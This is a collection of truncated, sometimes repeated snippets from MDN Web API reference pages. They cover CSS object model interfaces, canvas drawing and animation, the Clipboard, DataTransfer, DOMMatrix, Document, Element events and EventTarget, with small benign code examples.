...gth> in ex units. css_grad the value is an <angle> in grads. css_hz the value is a <frequency> in hertz. the value can be obtained by using the getfloatvalue method. css_in the value is a <length> in inches. css_khz the value is a <frequency> in kilohertz. css_mm the value is a <length> in millimeters. css_ms the value is a <time> in milliseconds. css_number the value is a simple <number>. css_pc the value is a <length> in picas. css_percentage the value is a <percentage>. css_pt the value is a <length> in points. css_px the value is a <length> in pixels. css_rad the value is an <angle> in radians. ...
CSSPrimitiveValue - Web APIs
r the value is a counter or counters function. the value can be obtained by using the getcountervalue() method. css_deg the value is an <angle> in degrees. the value can be obtained by using the getfloatvalue() method. css_dimension the value is a <number> with an unknown dimension. the value can be obtained by using the getfloatvalue() method. css_ems the value is a <length> in em units. the value can be obtained by using the getfloatvalue() method. css_exs the value is a <length> in ex units. the value can be obtained by using the getfloatvalue() method. css_grad the value is an <angle> in grads. the value can be obtained by using the getfloatvalue() method. css_hz the value is a <frequency>...
... method. css_in the value is a <length> in inches. the value can be obtained by using the getfloatvalue() method. css_khz the value is a <frequency> in kilohertz. the value can be obtained by using the getfloatvalue() method. css_mm the value is a <length> in millimeters. the value can be obtained by using the getfloatvalue() method. css_ms the value is a <time> in milliseconds. the value can be obtained by using the getfloatvalue() method. css_number the value is a simple <number>. the value can be obtained by using the getfloatvalue() method. css_pc the value is a <length> in picas. the value can be obtained by using the getfloatvalue() method. css_percentage the value is a <perc...
CSSStyleDeclaration.removeProperty() - Web APIs
exceptions domexception no_modification_allowed_err: if the property or declaration block is read only. ...
... exceptions domexception no_modification_allowed_err: if the property or declaration block is read only. ...
CSSStyleDeclaration.setProperty() - Web APIs
the cssstyledeclaration.setproperty() method interface sets a new value for a property on a css style declaration object. syntax style.setproperty(propertyname, value, priority); parameters propertyname is a domstring representing the css property name (hyphen case) to be modified. value optional is a domstring containing the new property value. if not specified, treated as the empty string. note: value must not contain "!important" -- that should be set using the priority parameter. priority optional is a domstring allowing the "important" css priority to be set. if not specified, treated as the empty string. the following values are accepted: string value "important" keyword undefined string empty value "" return value undefined exceptions dom...
...order</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; background: red; border: 5px solid purple; color: white; transition: ...
CSSStyleRule.selectorText - Web APIs
on. working draft browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 6webview android full support 4.4chrome android full support 18firefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support 1.0legend full support full support ...
Using dynamic styling information - Web APIs
in many cases, and where possible, it really is best practice to dynamically manipulate classes via the classname property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. ...
... in many cases, and where possible, it really is best practice to dynamically manipulate classes via the classname property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. ...
Using the CSS Typed Object Model - Web APIs
alue. if the value is numeric, a cssunitvalue is returned. csskeywordvalue is a class that defines keywords like inherit, initial, unset, and other strings you don't quote, such as auto and grid. this subclass gives you a value property via csskeywordvalue.value. cssunitvalue is returned if the value is a unit type. it is a class that defines numbers with units of measurement like 20px, 40%, 200ms, or 7. it is returned with two properties: a value and a unit. with this type we can access the numeric value — cssunitvalue.value — and its unit — cssunitvalue.unit. let's write a plain paragraph, apply no styles, and inspect a few of its css properties by returning a table with the unit and value: <p> this is a paragraph with some content. open up this example in codepen or jsfidd...
...ransformvalue, and cssunparsedvalue. it has two methods: cssstylevalue.parse() cssstylevalue.parseall() as noted above, stylepropertymapreadonly.get('--customproperty') returns a cssunparsedvalue. we can parse cssunparsedvalue object instances with the inherited cssstylevalue.parse() and cssstylevalue.parseall() methods. let's examine a css example with several custom properties, transforms, calc()s, and other features. we'll take a look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 2...
Applying styles and colors - Web APIs
from the inside connection point. if two lines exceed this value, a bevel join gets drawn instead. note that the maximum miter length is the product of the line width measured in the current coordinate system, by the value of this miterlimit property (whose default value is 10.0 in the html <canvas>), so the miterlimit can be set independently from the current display scale or any affine transforms of paths: it only influences the effectively rendered shape of line edges. more exactly, the miter limit is the maximum allowed ratio of the extension length (in the html canvas, it is measured between the outside corner of the joined edges of the line and the common endpoint of connecting segments specified in the path) to half the line width. it can equivalently be defined as the maximum allow...
...d and the linedashoffset property specify the dash pattern for lines. the setlinedash method accepts a list of numbers that specifies distances to alternately draw a line and a gap and the linedashoffset property sets an offset where to start the pattern. in this example we are creating a marching ants effect. it is an animation technique often found in selection tools of computer graphics programs. it helps the user to distinguish the selection border from the image background by animating the border. in a later part of this tutorial, you can learn how to do this and other basic animations. <canvas id="canvas" width="110" height="110"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); var offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.hei...
Basic animations - Web APIs
e original state is used each time a frame is drawn, you need to save that original state. draw animated shapes the step where you do the actual frame rendering. restore the canvas state if you've saved the state, restore it before drawing a new frame. controlling an animation shapes are drawn to the canvas by using the canvas methods directly or by calling custom functions. in normal circumstances, we only see these results appear on the canvas when the script finishes executing. for instance, it isn't possible to do an animation from within a for loop. that means we need a way to execute our drawing functions over a period of time. there are two ways to control an animation like this. scheduled updates first there's the window.setinterval(), window.settimeout(), and window.reques...
...div#selector>div { flex-basis: 30% } @keyframes diss { from { opacity: 1 } to { opacity: 0 } } .keypress>div { border: dashed 3px #fff; height: 48%; width: 48%; display: flex; align-content: center; justify-content: center; align-self: center; align-items: center; font-size: -webkit-xxx-large; font-weight: 900; color: #fff; transition: .5s; opacity: .1; border-radius: 7px } .keypress { position: fixed; width: 100vw; height: 100vh; top: 0; left: 0; display: flex; flex-wrap: wrap; justify-content: space-around; opacity: 1;...
Optimizing canvas - Web APIs
don’t scale images in drawimage cache various sizes of your images on an offscreen canvas when loading as opposed to constantly scaling them in drawimage(). use multiple layered canvases for complex scenes in your application, you may find that some objects need to move or change frequently, while others remain relatively static. a possible optimization in this situation is to layer your items using multiple <canvas> elements. for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static background on the bottom. in this case, you could split your game into three <canvas> layers. the ui would change only upon user input, the gameplay layer would change with every new frame, and the background would remain generally unchanged. <div id="stage"...
...{ z-index: 3; } #game-layer { z-index: 2; } #background-layer { z-index: 1; } </style> use plain css for large background images if you have a static background image, you can draw it onto a plain <div> element using the css background property and position it under the canvas. this will negate the need to render the background to the canvas on every tick. scaling canvas using css transforms css transforms are faster since they use the gpu. the best case is to not scale the canvas, or have a smaller canvas and scale up rather than a bigger canvas and scale down. var scalex = window.innerwidth / canvas.width; var scaley = window.innerheight / canvas.height; var scaletofit = math.min(scalex, scaley); var scaletocover = math.max(scalex, scaley); stage.style.transformorigin = '0 0'; ...
Using images - Web APIs
ctx.drawimage(document.images[i], 15, 20); // add frame ctx.drawimage(document.getelementbyid('frame'), 0, 0); } } } controlling image scaling behavior as mentioned previously, scaling images can result in fuzzy or blocky artifacts due to the scaling process. ...
...y or blocky artifacts due to the scaling process. you can use the drawing context's imagesmoothingenabled property to control the use of image smoothing algorithms when scaling images within your context. by default, this is true, meaning images will be smoothed when scaled. ...
Clipboard - Web APIs
Web › API › Clipboard
esolved once the clipboard access has been completed. the promise is rejected if clipboard access is denied. the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces. a typical application accesses clipboard functionality by mapping user input such as keybindings, menu selections, etc. to these interfaces. methods clipboard is based on the eventtarget interface, and includes its methods. read() requests arbitrary data (such as images) from the clipboard, returning a promise. when the data has b...
... interfaces. methods clipboard is based on the eventtarget interface, and includes its methods. read() requests arbitrary data (such as images) from the clipboard, returning a promise. when the data has been retrieved, the promise is resolved with a datatransfer object that provides the data. readtext() requests text from the system clipboard; returns a promise which is resolved with a domstring containing the clipboard's text once it's available. write() writes arbitrary data to the system clipboard. this asynchronous operation signals that it's finished by resolving the returned promise. writetext() writes text to the system clipboard, returning a promise which is resolved once the text is fully copied into the clipboard. clipboard availability the asynchronous clipboard ap...
console.log() - Web APIs
Web › API › Console › log
objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output. ...
...s of each of these objects are appended together in the order listed and output. please be warned that if you log objects in the latest versions of chrome and firefox what you get logged on the console is a reference to the object, which is not necessarily the 'value' of the object at the moment in time you call console.log(), but it is the value of the object at the moment you open the console. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting text to the console in the documentation of console for details. difference between log() and dir() you might ask yourself what's the difference between ...
ContentIndex.getAll() - Web APIs
contentdescription each item returned is an object containing the following data: id: a unique string identifier. ...
...tring, this is the default. homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a url string of the source image. sizes: optional a string representation of the image size. type: optional the mime type of the image. exceptions no exceptions are thrown. if there are no items in the content index, an empty array is returned. examples the below example shows an asynchronous function that retrieves items within the content index and iterates over each entry, building a list for the interface. async function createreadinglist() { // access our service worker registration const registration = await navigator.serviceworker.ready; // get our index entries const ...
ConvolverNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 42safari ? webview android full support 55chrome android full support 55firefox android full support 53opera android full support 42safari ios ? ...
Credential - Web APIs
valid values are password, federated and public-key. ...
...valid values are password, federated and public-key. ...
DOMException.code - Web APIs
Web › API › DOMException › code
idate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
DOMMatrix - Web APIs
Web › API › DOMMatrix
ix.premultiplyself() modifies the matrix by pre-multiplying it with the specified dommatrix. this is equivalent to the dot product b⋅a, where matrix a is the source matrix and b is the matrix given as an input to the method. returns itself. dommatrix.translateself() modifies the matrix by applying the specified vector. the default vector is [0, 0, 0]. returns itself. dommatrix.scalenonuniformself() modifies the matrix by applying the specified scaling on the x, y, and z axes, centered at the given origin. by default, the y and z axes' scaling factors are both 1, but the scaling factor for x must be specified. the default origin is (0, 0, 0). returns itself. dommatrix.scaleself() modifies the matrix by applying the specified scaling factors, with the center located at the specified...
...ommatrix.rotateaxisangleself() modifies the matrix by rotating it by the specified angle around the given vector. returns itself. dommatrix.rotatefromvectorself() modifies the matrix by rotating it by the angle between the specified vector and (1, 0). returns itself. dommatrix.setmatrixvalue() replaces the contents of the matrix with the matrix described by the specified transform or transforms. returns itself. dommatrix.skewxself() modifies the matrix by applying the specified skew transformation along the x-axis. returns itself. dommatrix.skewyself() modifies the matrix by applying the specified skew transformation along the y-axis. returns itself. static methods this interface inherits methods from dommatrixreadonly. fromfloat32array() creates a new mutable dommatrix objec...
DOMMatrixReadOnly.scale() - Web APIs
n applied to the blue and green squares as a transform, changing their dimensions and position. the red square is left in place. ...
... their dimensions and position. the red square is left in place. ...
DOMMatrixReadOnly - Web APIs
rix. the elements are stored into the array as double-precision floating-point numbers in column-major (colexographical access access or "colex") order. (in other words, down the first column from top to bottom, then the second column, and so forth.) dommatrixreadonly.tojson() returns a json representation of the dommatrixreadonly object. dommatrixreadonly.tostring() creates and returns a domstring object which contains a string representation of the matrix in css matrix syntax, using the appropriate css matrix notation. see the matrix() css function for details on this syntax. for a 2d matrix, the elements a through f are listed, for a total of six values and the form matrix(a, b, c, d, e, f). for a 3d matrix, the returned string contains all 16 elements and takes the form matrix...
...3, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44). see the css matrix3d() function for details on the 3d notation's syntax. throws an invalidstateerror exception if any of the elements in the matrix are non-finite (even if, in the case of a 2d matrix, the non-finite values are in elements not used by the 2d matrix representation). dommatrixreadonly.transformpoint() transforms the specified point using the matrix, returning a new dompoint object containing the transformed point. neither the matrix nor the original point are altered. dommatrixreadonly.translate() returns a new dommatrix containing a matrix calculated by translating the source matrix using the specified vector. by default, the vector is (0, 0, 0). the original matrix is not changed. static methods t...
DOMRectReadOnly.fromRect() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10.1webview android full support 57chrome android full support 57firefox android no support noopera android full support 43safari ios full support 10.3samsung internet android full support 7.0legend full support full support no support no support ...
DOMTokenList.forEach() - Web APIs
d initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 45chrome android full support 45firefox android full support 50opera android full support 32safari ios full support 10samsung internet android full support 5.0legend full support full support no support no support ...
DataTransfer.mozGetDataAt() - Web APIs
note: this method is gecko-specific. syntax nsivariant datatransfer.mozgetdataat([type], index); arguments type a string representing the type of the drag data to retrieve from the drag data object. ...
...drag data object. index a unsigned long representing the index of the data to retrieve. return value nsivariant the data item requested. if the specified item does not exist, null is returned. example this example shows the use of the mozgetdataat() method in a drop event handler. ...
DataTransfer.mozItemCount - Web APIs
example this example shows the use of the mozitemcount property. ...
... example this example shows the use of the mozitemcount property. ...
DataTransfer.mozSetDataAt() - Web APIs
mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one. data should be added in order of preference, with the most specific format added first and the least specific format added last. ...
... to the drag data object. data a nsivariant representing the data to add to the drag data object. index a unsigned long representing the index of the data to add. return value void example this example shows the use of the mozsetdataat() method in a dragstart handler. function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard. ...
DataTransfer.mozTypesAt() - Web APIs
the datatransfer.moztypesat() method returns a list of the format types that are stored for an item at the specified index. if the index is not in the range from 0 to the number of items minus one, an empty string list is returned. note: this method is gecko-specific. syntax nsivariant datatransfer.moztypesat(index); arguments index a unsigned long that is the index of the data for which to retrieve the types. return value nsivariant a list of data formats (which are strings). if the index is not in the range from 0 to the number of items minus one, an empty string list is returned. example this example shows the use of the moztypesat() method in a drop event handler. function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output(...
... retrieve the types. return value nsivariant a list of data formats (which are strings). if the index is not in the range from 0 to the number of items minus one, an empty string list is returned. example this example shows the use of the moztypesat() method in a drop event handler. ...
DataTransferItem.getAsString() - Web APIs
's string data as the argument if the item's kind is a plain unicode string (i.e. kind is string). syntax datatransferitem.getasstring(callback); parameters callback a callback function that has access to the data transfer item's string data. see callback below for details. ...
...defined callback the callback parameter is a callback function which accepts one parameter: domstring the drag data item's string data. the callback return value is undefined. example this example shows the use of the getasstring() method as an inline function in a drop event handler. ...
DataTransferItem.kind - Web APIs
the read-only datatransferitem.kind property returns a datatransferitem representing the drag data item kind: some text or some file. syntax var itemkind = datatransferitem.kind; return value a domstring representing the drag data item's kind. it must be one of the following values: 'file' if the drag data item is a file. 'string' if the kind of drag data item is a plain unicode string. example this example shows the use of the kind property. ...
...eritem.kind; return value a domstring representing the drag data item's kind. it must be one of the following values: 'file' if the drag data item is a file. 'string' if the kind of drag data item is a plain unicode string. example this example shows the use of the kind property. ...
DataTransferItem.type - Web APIs
the read-only datatransferitem.type property returns the type (format) of the datatransferitem object representing the drag data item. the type is a unicode string generally given by a mime type, although a mime type is not required. some example types are: text/plain and text/html. syntax dataitem.type; return value a domstring representing the drag data item's type. example this example shows the use of the type property. ...
...ype is a unicode string generally given by a mime type, although a mime type is not required. some example types are: text/plain and text/html. syntax dataitem.type; return value a domstring representing the drag data item's type. example this example shows the use of the type property. ...
DataTransferItemList.add() - Web APIs
ver_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < ...
...i-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'add()' in that specification. living standard html 5.1the definition of 'add()' in that specification. recomm...
DisplayMediaStreamConstraints.video - Web APIs
ackconstraints object is given instead, the video track will be processed to match the settings given in the constraints object. constraints specific to screen sharing these constraints apply to mediatrackconstraints objects specified as part of the displaymediastreamconstraints object's video property when using getdisplaymedia() to obtain a stream for screen sharing. cursor a constraindomstring which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. the value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor. always the mouse is always visible in the video content of the {domxref("mediastream"), unless the ...
...o do about the cursor. always the mouse is always visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content. motion the mouse cursor is always included in the video if it's moving, and for a short time after it stops moving. never the mouse cursor is never included in the shared video. displaysurface a constraindomstring which specifies the types of display surface that may be selected by the user. this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track. browser the stream contains the contents of a single browser tab selected by...
Document.evaluate() - Web APIs
Web › API › Document › evaluate
initial specification browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 5webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 4.2samsung internet android full support 1.0legend full support full support no support no support see also document.createexpression() xpathresult xpath code snippets check for browser support ...
Document.fonts - Web APIs
Web › API › Document › fonts
aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... see also fontfaceset interface fontfac...
Document - Web APIs
Web › API › Document
hild of the document. for html documents, this is normally the htmlhtmlelement object representing the document's <html> element. document.documenturiread only returns the document location as a string. document.embedsread only returns a list of the embedded <embed> elements within the current document. document.fonts returns the fontfaceset interface of the current document. document.formsread only returns a list of the <form> elements within the current document. document.headread only returns the <head> element of the current document. document.hiddenread only returns a boolean value indicating if the page is considered hidden or not. document.imagesread only returns a list of the images in the current document. document.implementationread only returns the dom imple...
...cument.querycommandtext()obsolete since gecko 14 this method never did anything but throw an exception, and was removed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11). internet explorer notes microsoft defines some non-standard properties: document.filesize* returns size in bytes of the document. starting with internet explorer 11, that property is no longer supported. see msdn. internet explorer does not support all methods from the node interface in the document interface: document.contains as a work-around, document.body.contains() can be used. specifications specification status comment domthe definition of 'document' in that specification. living standard intend to supersede dom 3 html living standardthe definit...
DocumentOrShadowRoot.activeElement - Web APIs
ment (menu) or an <input> element, of type "button", "checkbox", or "radio". typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate one (that is, to press a button or toggle a radio button). which elements are focusable varies depending on the platform and the browser's current configuration. for example, on macos systems, elements that aren't text input elements are not typically focusable by default. note: focus (which element is receiving user input events) is not the same thing as selection (the currently highlighted part of the document). you can get the current selection using window.getselection(). syntax element = documentorshadowroot.activeelement value the element which currently has focus, <body>...
... the element which currently has focus, <body> or null if there is no focused element. example html <p>select some text from one of the text areas below:</p> <form> <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">this is text area one. lorem ipsum dolor sit amet, consectetur adipiscing elit. donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">this is text area two. fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. morbi sed euismod diam.</textarea> </form> <p>active element id: <b id="output-element"></b></p> <p>selected text: <b id="output-text"></b></p> javascript fu...
DocumentOrShadowRoot.getSelection() - Web APIs
e initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
EffectTiming.delay - Web APIs
conds }; timingproperties.delay = delayinmilliseconds; value a number specifying the delay, in milliseconds, from the start of the animation's play cycle to the beginning of its active interval (the time index at which actual animation begins). defaults to 0. ...
...ch actual animation begins). defaults to 0. examples in the pool of tears example, each tear is passed a random delay via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification. working draft editor's draft. ...
EffectTiming.duration - Web APIs
into account the duration of any child effects. consider using "auto" rather than 0 if that makes sense. exceptions typeerror the specified value is either a string other than "auto", a number less than zero, nan, or some other type of object entirely. ...
..., or some other type of object entirely. examples in the pool of tears example, each tear is passed a random duration via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'duration' in that specification. working draft editor's draft. ...
Element: MozMousePixelScroll event - Web APIs
l or similar device is operated. it's represented by the mousescrollevent interface. important: do not use this non-standard and obsolete event. instead, you should always use the standard wheel event. ...
... interface mousescrollevent getting the distance scrolled the event's detail property indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left. if the platform's native mouse wheel events indicate the scroll distance in terms of lines or pages, the value of detail is computed using that value and the line height or page width/height of the nearest ancestor scrollable element that contains the target element. note: on macos, the scroll distance (and therefore the value of detail) is computed based on the accelerated scroll distance. the value of detail is never 0 if the events are legitimate. ...
Element: auxclick event - Web APIs
other default actions mapped to the down action of the middle mouse button. on windows this is usually autoscroll, and on macos and linux this is usually clipboard paste. this can be done by preventing the default behaviour of the mousedown or pointerdown event. additionally, you may need to avoid opening a system context menu after a right click. due to timing differences between operating systems, this too is not a preventable default behavior of auxclick. instead, this can be done by preventing the default behavior of the contextmenu event. examples in this example we define functions for two event handlers — onclick and onauxclick. the former changes the color of the button background, while the latter changes the button foreground (text) color. you also can see the two functions in...
...n to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping up after the color change is applied. html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-items: center; margin: 0; } button { border: 0; background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice). spec...
Element: click event - Web APIs
e notes the mouseevent object passed into the event handler for click has its detail property set to the number of times the target was clicked. in other words, detail will be 2 for a double-click, 3 for triple-click, and so forth. this counter resets after a short interval without any clicks occurring; the specifics of how long that interval is may vary from browser to browser and across platforms. the interval is also likely to be affected by user preferences; for example, accessibility options may extend this interval to make it easier to perform multiple clicks with adaptive interfaces. internet explorer internet explorer 8 & 9 suffer from a bug where elements with a computed background-color of transparent that are overlaid on top of other element(s) won't receive click events. any c...
...nd-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit background-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers from a bug where click events aren't fired on elements that aren't typically interactive (e.g. <div>) and which also don't have event listeners directly attached to the elements themselves (i.e. event delegation is being used). see this live example for a demonstration. see also safari's docs on making elements clickable and the definition of "clickable element". known workarounds for this bug: set cursor: pointer; on the element or any of its ancestors. add a dummy onclick="void(0)" attribute to the element or any of its ancestors up to but not including <body>. use a t...
Element.closest() - Web APIs
Web › API › Element › closest
the closest() method traverses the element and its parents (heading toward the document root) until it finds a node that matches the provided selector string. will return itself or the matching ancestor. if no such element exists, it returns null. syntax var closestelement = targetelement.closest(selectors); parameters selectors is a domstring containing a selector list. ex: p:hover, .toto + q return value closestelement is the element which is the closest ancestor of the selected element. it may be null. exceptions syntaxerror is thrown if the selectors is not a valid selector list string. example html <article> <div id="div-01">here is div-01 <div id="div-02">here is div-02 <div id="div-03">here is div-03</div> </div> </div> </article> javascript ...
...article, here it is the div-01 var r4 = el.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article polyfill for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; do { if (element.prototype.matches.call(el, s)) return el; el = el.parentelement || el.parentnode; } while (el !== null && el.nodetype === 1); return null; }; } however, if you really do require ie 8 support,...
Element.matches() - Web APIs
Web › API › Element › matches
ement has indeed a class attribute with value endangered. ...
... living standard initial definition ...
Element.scrollLeftMax - Web APIs
not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Event.preventDefault() - Web APIs
arning( "please use lowercase letters only." + "\n" + "charcode: " + charcode + "\n" ); } } } the displaywarning() function presents a notification of a problem. ...
...rcase letters only." + "\n" + "charcode: " + charcode + "\n" ); } } } the displaywarning() function presents a notification of a problem. ...
EventSource - Web APIs
us tabs as the limit is per browser and set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com. (from stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100). constructor eventsource() creates a new eventsource to handle receiving server-sent events from a specified url, optionally in credentials mode. properties this interface also inherits properties from its parent, eventtarget. eventsource.readystate read only a number representing the state of the connection. possible...
...ventsource() creates a new eventsource to handle receiving server-sent events from a specified url, optionally in credentials mode. properties this interface also inherits properties from its parent, eventtarget. eventsource.readystate read only a number representing the state of the connection. possible values are connecting (0), open (1), or closed (2). eventsource.url read only a domstring representing the url of the source. eventsource.withcredentials read only a boolean indicating whether the eventsource object was instantiated with cross-origin (cors) credentials set (true), or not (false, the default). event handlers eventsource.onerror is an eventhandler called when an error occurs and the error event is dispatched on an eventsource object. eventsource.onmessage...
EventTarget.addEventListener() - Web APIs
logid();"><!-- when called, `this` will refer to the global object --> ... </table> the value of this within logid() is a reference to the global object window (or undefined in the case of strict mode. specifying "this" using bind() the function.prototype.bind() method lets you specify the value that should be used as this for all calls to a given function. this lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. note, however, that you'll need to keep a reference to the listener around so you can remove it later. this is an example with and without bind(): const something = function(element) { // |this| is a newly created object this.name = 'something good'; this.onclick1 = function(event) { co...
...tlistener('click', modifytext, false); } else if (el.attachevent) { el.attachevent('onclick', modifytext); } there is a drawback to attachevent(): the value of this will be a reference to the window object, instead of the element on which it was fired. the attachevent() method could be paired with the onresize event to detect when certain elements in a web page were resized. the proprietary mselementresize event, when paired with the addeventlistener method of registering event handlers, provides similar functionality as onresize, firing when certain html elements are resized. polyfill you can work around addeventlistener(), removeeventlistener(), event.preventdefault(), and event.stoppropagation() not being supported by internet explorer 8 by using the following code at the beginnin...
EventTarget.dispatchEvent() - Web APIs
m 2 events specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
EventTarget - Web APIs
vent type on the eventtarget. eventtarget.removeeventlistener() removes an event listener from the eventtarget. eventtarget.dispatchevent() dispatches an event to this eventtarget. additional methods in mozilla chrome codebase mozilla includes a couple of extensions for use by js-implemented event targets to implement onevent properties. see also webidl bindings. ...
...ves an event listener from the eventtarget. eventtarget.dispatchevent() dispatches an event to this eventtarget. additional methods in mozilla chrome codebase mozilla includes a couple of extensions for use by js-implemented event targets to implement onevent properties. see also webidl bindings. ...
ExtendableMessageEvent.lastEventId - Web APIs
